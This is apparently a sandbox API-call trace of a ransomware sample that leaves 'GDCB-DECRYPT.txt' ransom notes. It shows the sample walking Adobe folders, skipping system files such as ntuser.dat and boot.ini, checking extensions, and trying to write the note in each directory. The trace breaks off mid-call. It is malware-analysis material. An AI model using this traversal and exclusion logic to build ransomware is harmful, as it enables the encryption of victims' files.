(lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0170.139] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\GDCB-DECRYPT.txt" [0170.139] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.139] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\GDCB-DECRYPT.txt") returned 171 [0170.139] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\GDCB-DECRYPT.txt") returned 171 [0170.139] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\GDCB-DECRYPT.txt") returned 171 [0170.139] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\GDCB-DECRYPT.txt") returned 171 [0170.139] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0170.139] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0170.139] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0170.139] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0170.139] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0170.139] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0170.139] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0170.139] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0170.139] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0170.139] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.139] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285de60 | out: lpFindFileData=0x285de60) returned 0 [0170.139] FindClose (in: hFindFile=0x5a4dd8 | out: hFindFile=0x5a4dd8) returned 1 [0170.139] FindNextFileW (in: hFindFile=0x5a4c58, lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 1 [0170.139] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0170.139] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0170.139] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\GDCB-DECRYPT.txt" [0170.139] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.140] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\GDCB-DECRYPT.txt") returned 168 [0170.140] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\GDCB-DECRYPT.txt") returned 168 [0170.140] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\GDCB-DECRYPT.txt") returned 168 [0170.140] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\GDCB-DECRYPT.txt") returned 168 [0170.140] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0170.140] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0170.140] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0170.140] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0170.140] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0170.140] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0170.140] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0170.140] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0170.140] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0170.140] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.140] FindNextFileW (in: hFindFile=0x5a4c58, lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 0 [0170.140] FindClose (in: hFindFile=0x5a4c58 | out: hFindFile=0x5a4c58) returned 1 [0170.140] FindNextFileW (in: hFindFile=0x5a4a18, lpFindFileData=0x285e370 | out: lpFindFileData=0x285e370) returned 1 [0170.140] lstrcmpW (lpString1="Color", lpString2=".") returned 1 [0170.140] lstrcmpW (lpString1="Color", lpString2="..") returned 1 [0170.140] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\", lpString2="Color" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color" [0170.140] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color", lpString2="\\" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\" [0170.140] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.140] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.140] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.140] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.140] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.140] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.141] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\") returned 150 [0170.141] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\*" [0170.141] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\*", lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 0x5a4dd8 [0170.141] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0170.141] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0170.141] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0170.141] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0170.141] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0170.141] lstrcmpW (lpString1="ACECache11.lst", lpString2=".") returned 1 [0170.141] lstrcmpW (lpString1="ACECache11.lst", lpString2="..") returned 1 [0170.141] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\", lpString2="ACECache11.lst" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\ACECache11.lst") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\ACECache11.lst" [0170.141] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\ACECache11.lst") returned 164 [0170.141] lstrcmpW (lpString1=".lst", lpString2=".sql") returned -1 [0170.141] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0170.141] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0170.141] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0170.141] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\GDCB-DECRYPT.txt" [0170.141] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\GDCB-DECRYPT.txt") returned 166 [0170.141] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0170.141] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0170.141] lstrcmpW (lpString1="Profiles", lpString2=".") returned 1 [0170.141] lstrcmpW (lpString1="Profiles", lpString2="..") returned 1 [0170.141] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\", lpString2="Profiles" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles" [0170.141] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles") returned 158 [0170.141] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 0 [0170.141] FindClose (in: hFindFile=0x5a4dd8 | out: hFindFile=0x5a4dd8) returned 1 [0170.141] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.141] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\\\GDCB-DECRYPT.txt") returned 167 [0170.141] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\adobe\\color\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.142] GetLastError () returned 0x50 [0170.142] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.143] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\") returned 150 [0170.143] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\*" [0170.143] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\*", lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 0x5a4e98 [0170.143] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0170.143] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 1 [0170.143] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0170.143] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0170.143] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 1 [0170.143] lstrcmpW (lpString1="ACECache11.lst", lpString2=".") returned 1 [0170.143] lstrcmpW (lpString1="ACECache11.lst", lpString2="..") returned 1 [0170.143] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\", lpString2="ACECache11.lst" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\ACECache11.lst") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\ACECache11.lst" [0170.143] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.143] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\ACECache11.lst") returned 164 [0170.143] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\ACECache11.lst") returned 164 [0170.143] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.143] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 1 [0170.143] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0170.143] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0170.143] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\GDCB-DECRYPT.txt" [0170.143] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.143] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\GDCB-DECRYPT.txt") returned 166 [0170.144] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\GDCB-DECRYPT.txt") returned 166 [0170.144] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\GDCB-DECRYPT.txt") returned 166 [0170.144] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\GDCB-DECRYPT.txt") returned 166 [0170.144] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0170.144] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0170.144] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0170.144] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0170.144] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0170.144] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0170.144] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0170.144] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0170.144] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0170.144] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.144] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 1 [0170.144] lstrcmpW (lpString1="Profiles", lpString2=".") returned 1 [0170.144] lstrcmpW (lpString1="Profiles", lpString2="..") returned 1 [0170.144] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\", lpString2="Profiles" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles" [0170.144] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles", lpString2="\\" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\" [0170.144] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.144] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.144] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.144] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.144] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.144] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.144] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\") returned 159 [0170.144] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\*" [0170.144] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\*", lpFindFileData=0x285dbf0 | out: lpFindFileData=0x285dbf0) returned 0x5a4dd8 [0170.145] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0170.145] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285dbf0 | out: lpFindFileData=0x285dbf0) returned 1 [0170.145] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0170.145] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0170.145] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285dbf0 | out: lpFindFileData=0x285dbf0) returned 1 [0170.145] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0170.145] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0170.145] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\GDCB-DECRYPT.txt" [0170.145] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\GDCB-DECRYPT.txt") returned 175 [0170.145] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0170.145] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285dbf0 | out: lpFindFileData=0x285dbf0) returned 1 [0170.145] lstrcmpW (lpString1="wscRGB.icc", lpString2=".") returned 1 [0170.145] lstrcmpW (lpString1="wscRGB.icc", lpString2="..") returned 1 [0170.145] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\", lpString2="wscRGB.icc" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wscRGB.icc") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wscRGB.icc" [0170.145] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wscRGB.icc") returned 169 [0170.145] lstrcmpW (lpString1=".icc", lpString2=".sql") returned -1 [0170.145] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285dbf0 | out: lpFindFileData=0x285dbf0) returned 1 [0170.145] lstrcmpW (lpString1="wsRGB.icc", lpString2=".") returned 1 [0170.145] lstrcmpW (lpString1="wsRGB.icc", lpString2="..") returned 1 [0170.145] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\", lpString2="wsRGB.icc" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wsRGB.icc") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wsRGB.icc" [0170.145] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wsRGB.icc") returned 168 [0170.145] lstrcmpW (lpString1=".icc", lpString2=".sql") returned -1 [0170.145] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285dbf0 | out: lpFindFileData=0x285dbf0) returned 0 [0170.145] FindClose (in: hFindFile=0x5a4dd8 | out: hFindFile=0x5a4dd8) returned 1 [0170.145] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.145] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\\\GDCB-DECRYPT.txt") returned 176 [0170.145] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\adobe\\color\\profiles\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, 